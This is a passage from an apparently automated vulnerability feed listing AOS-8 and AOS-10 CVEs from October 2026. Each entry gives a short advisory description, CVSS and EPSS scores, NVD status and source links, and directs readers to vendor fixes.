FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79867&date=2026-10-25
Authentication bypass vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls and run arbitrary commands on the underlying host. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system leading to complete system compromise.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authentication bypass vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls.
https://kevwire.com/record/CVE-2026-79868
Authentication bypass vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. (Oct 22, 2026).
Authentication bypass vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data, leading to complete compromise of the affected system.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79868).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79868&date=2026-10-25).
Sources:
NVD CVE-2026-79868: https://nvd.nist.gov/vuln/detail/CVE-2026-79868
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79868&date=2026-10-25
Authentication bypass vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data, leading to complete compromise of the affected system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls.
https://kevwire.com/record/CVE-2026-79869
Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. (Oct 22, 2026).
Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79869).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79869&date=2026-10-25).
Sources:
NVD CVE-2026-79869: https://nvd.nist.gov/vuln/detail/CVE-2026-79869
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79869&date=2026-10-25
Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authentication bypass vulnerability in the PAPI protocol of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls.
https://kevwire.com/record/CVE-2026-79870
An authentication bypass vulnerability in the PAPI protocol of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. (Oct 22, 2026).
An authentication bypass vulnerability in the PAPI protocol of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, access or manipulate sensitive data, and disrupt network operations.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79870).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79870&date=2026-10-25).
Sources:
NVD CVE-2026-79870: https://nvd.nist.gov/vuln/detail/CVE-2026-79870
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79870&date=2026-10-25
An authentication bypass vulnerability in the PAPI protocol of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, access or manipulate sensitive data, and disrupt network operations.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A sensitive information disclosure vulnerability in the command line interface of AOS-10 could allow an unauthenticated remote attacker to access sensitive information.
https://kevwire.com/record/CVE-2026-79871
A sensitive information disclosure vulnerability in the command line interface of AOS-10 could allow an unauthenticated remote attacker to access sensitive information. (Oct 22, 2026).
A sensitive information disclosure vulnerability in the command line interface of AOS-10 could allow an unauthenticated remote attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79871).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79871&date=2026-10-25).
Sources:
NVD CVE-2026-79871: https://nvd.nist.gov/vuln/detail/CVE-2026-79871
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79871&date=2026-10-25
A sensitive information disclosure vulnerability in the command line interface of AOS-10 could allow an unauthenticated remote attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow vulnerability exists in the underlying operating system of AOS that could lead to unauthenticated remote code execution by an unauthenticated remote attacker.
https://kevwire.com/record/CVE-2026-79872
A buffer overflow vulnerability exists in the underlying operating system of AOS that could lead to unauthenticated remote code execution by an unauthenticated remote attacker. (Oct 22, 2026).
A buffer overflow vulnerability exists in the underlying operating system of AOS that could lead to unauthenticated remote code execution by an unauthenticated remote attacker. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 9.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79872).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79872&date=2026-10-25).
Sources:
NVD CVE-2026-79872: https://nvd.nist.gov/vuln/detail/CVE-2026-79872
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79872&date=2026-10-25
A buffer overflow vulnerability exists in the underlying operating system of AOS that could lead to unauthenticated remote code execution by an unauthenticated remote attacker. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authentication bypass vulnerabilities in the PAPI protocol of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls.
https://kevwire.com/record/CVE-2026-79873
Authentication bypass vulnerabilities in the PAPI protocol of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. (Oct 22, 2026).
Authentication bypass vulnerabilities in the PAPI protocol of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data on affected devices.
CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79873).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79873&date=2026-10-25).
Sources:
NVD CVE-2026-79873: https://nvd.nist.gov/vuln/detail/CVE-2026-79873
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79873&date=2026-10-25
Authentication bypass vulnerabilities in the PAPI protocol of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data on affected devices.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authentication bypass in the API of AOS-10 allows an unauthenticated adjacent attacker to circumvent existing authentication controls.
https://kevwire.com/record/CVE-2026-79874
An authentication bypass in the API of AOS-10 allows an unauthenticated adjacent attacker to circumvent existing authentication controls. (Oct 22, 2026).
An authentication bypass in the API of AOS-10 allows an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data.
CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79874).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79874&date=2026-10-25).
Sources:
NVD CVE-2026-79874: https://nvd.nist.gov/vuln/detail/CVE-2026-79874
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79874&date=2026-10-25
An authentication bypass in the API of AOS-10 allows an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in the PAPI protocol of AOS-8 that could potentially allow an unauthenticated adjacent attacker to circumvent existing authentication controls....
https://kevwire.com/record/CVE-2026-79875
A vulnerability has been identified in the PAPI protocol of AOS-8 that could potentially allow an unauthenticated adjacent attacker to circumvent existing authentication controls.... (Oct 22, 2026).
A vulnerability has been identified in the PAPI protocol of AOS-8 that could potentially allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data.
CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79875).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79875&date=2026-10-25).
Sources:
NVD CVE-2026-79875: https://nvd.nist.gov/vuln/detail/CVE-2026-79875
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79875&date=2026-10-25
A vulnerability has been identified in the PAPI protocol of AOS-8 that could potentially allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A sensitive information disclosure vulnerability in the Wi-Fi frame processing of AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information.
https://kevwire.com/record/CVE-2026-79876
A sensitive information disclosure vulnerability in the Wi-Fi frame processing of AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information. (Oct 22, 2026).
A sensitive information disclosure vulnerability in the Wi-Fi frame processing of AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10, or to interrupt the normal operation of the affected service.
CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79876).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79876&date=2026-10-25).
Sources:
NVD CVE-2026-79876: https://nvd.nist.gov/vuln/detail/CVE-2026-79876
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79876&date=2026-10-25
A sensitive information disclosure vulnerability in the Wi-Fi frame processing of AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10, or to interrupt the normal operation of the affected service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A remote code execution vulnerability in the underlying operating system of AOS-10 could allow an unauthenticated adjacent attacker to execute arbitrary code on an affected device.
https://kevwire.com/record/CVE-2026-79877
A remote code execution vulnerability in the underlying operating system of AOS-10 could allow an unauthenticated adjacent attacker to execute arbitrary code on an affected device. (Oct 22, 2026).
A remote code execution vulnerability in the underlying operating system of AOS-10 could allow an unauthenticated adjacent attacker to execute arbitrary code on an affected device. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system leading to complete system compromise.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79877).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79877&date=2026-10-25).
Sources:
NVD CVE-2026-79877: https://nvd.nist.gov/vuln/detail/CVE-2026-79877
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79877&date=2026-10-25
A remote code execution vulnerability in the underlying operating system of AOS-10 could allow an unauthenticated adjacent attacker to execute arbitrary code on an affected device. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system leading to complete system compromise.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A command injection vulnerability in the AOS-8 command line interface accessed by the PAPI protocol could lead to unauthenticated remote code execution by an adjacent attacker...
https://kevwire.com/record/CVE-2026-79878
A command injection vulnerability in the AOS-8 command line interface accessed by the PAPI protocol could lead to unauthenticated remote code execution by an adjacent attacker... (Oct 22, 2026).
A command injection vulnerability in the AOS-8 command line interface accessed by the PAPI protocol could lead to unauthenticated remote code execution by an adjacent attacker sending specially crafted PAPI packets destined to the PAPI UDP port 8211. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79878).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79878&date=2026-10-25).
Sources:
NVD CVE-2026-79878: https://nvd.nist.gov/vuln/detail/CVE-2026-79878
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79878&date=2026-10-25
A command injection vulnerability in the AOS-8 command line interface accessed by the PAPI protocol could lead to unauthenticated remote code execution by an adjacent attacker sending specially crafted PAPI packets destined to the PAPI UDP port 8211. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption vulnerabilities in the affected interface of AOS-10 could lead to remote code execution by an unauthenticated adjacent attacker.
https://kevwire.com/record/CVE-2026-79879
Memory corruption vulnerabilities in the affected interface of AOS-10 could lead to remote code execution by an unauthenticated adjacent attacker. (Oct 22, 2026).
Memory corruption vulnerabilities in the affected interface of AOS-10 could lead to remote code execution by an unauthenticated adjacent attacker. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79879).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79879&date=2026-10-25).
Sources:
NVD CVE-2026-79879: https://nvd.nist.gov/vuln/detail/CVE-2026-79879
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79879&date=2026-10-25
Memory corruption vulnerabilities in the affected interface of AOS-10 could lead to remote code execution by an unauthenticated adjacent attacker. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the command line interface of AOS-8 could allow an authenticated remote attacker with high privileges to conduct a server-side request forgery (SSRF) attack.
https://kevwire.com/record/CVE-2026-79880
A vulnerability in the command line interface of AOS-8 could allow an authenticated remote attacker with high privileges to conduct a server-side request forgery (SSRF) attack. (Oct 22, 2026).
A vulnerability in the command line interface of AOS-8 could allow an authenticated remote attacker with high privileges to conduct a server-side request forgery (SSRF) attack. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.
CVSS 8.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79880).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79880&date=2026-10-25).
Sources:
NVD CVE-2026-79880: https://nvd.nist.gov/vuln/detail/CVE-2026-79880
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79880&date=2026-10-25
A vulnerability in the command line interface of AOS-8 could allow an authenticated remote attacker with high privileges to conduct a server-side request forgery (SSRF) attack. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authentication bypass vulnerability in the underlying operating system of AOS-8 could allow an unauthenticated remote attacker to circumvent existing authentication controls.
https://kevwire.com/record/CVE-2026-79881
An authentication bypass vulnerability in the underlying operating system of AOS-8 could allow an unauthenticated remote attacker to circumvent existing authentication controls. (Oct 22, 2026).
An authentication bypass vulnerability in the underlying operating system of AOS-8 could allow an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system leading to complete system compromise.
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79881).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79881&date=2026-10-25).
Sources:
NVD CVE-2026-79881: https://nvd.nist.gov/vuln/detail/CVE-2026-79881
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79881&date=2026-10-25
An authentication bypass vulnerability in the underlying operating system of AOS-8 could allow an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system leading to complete system compromise.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### There is a command injection vulnerability in the PAPI protocol of AOS-10 that could lead to unauthenticated remote code execution by an adjacent attacker sending specially...
https://kevwire.com/record/CVE-2026-79882
There is a command injection vulnerability in the PAPI protocol of AOS-10 that could lead to unauthenticated remote code execution by an adjacent attacker sending specially... (Oct 22, 2026).
There is a command injection vulnerability in the PAPI protocol of AOS-10 that could lead to unauthenticated remote code execution by an adjacent attacker sending specially crafted packets. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79882).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79882&date=2026-10-25).
Sources:
NVD CVE-2026-79882: https://nvd.nist.gov/vuln/detail/CVE-2026-79882
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79882&date=2026-10-25
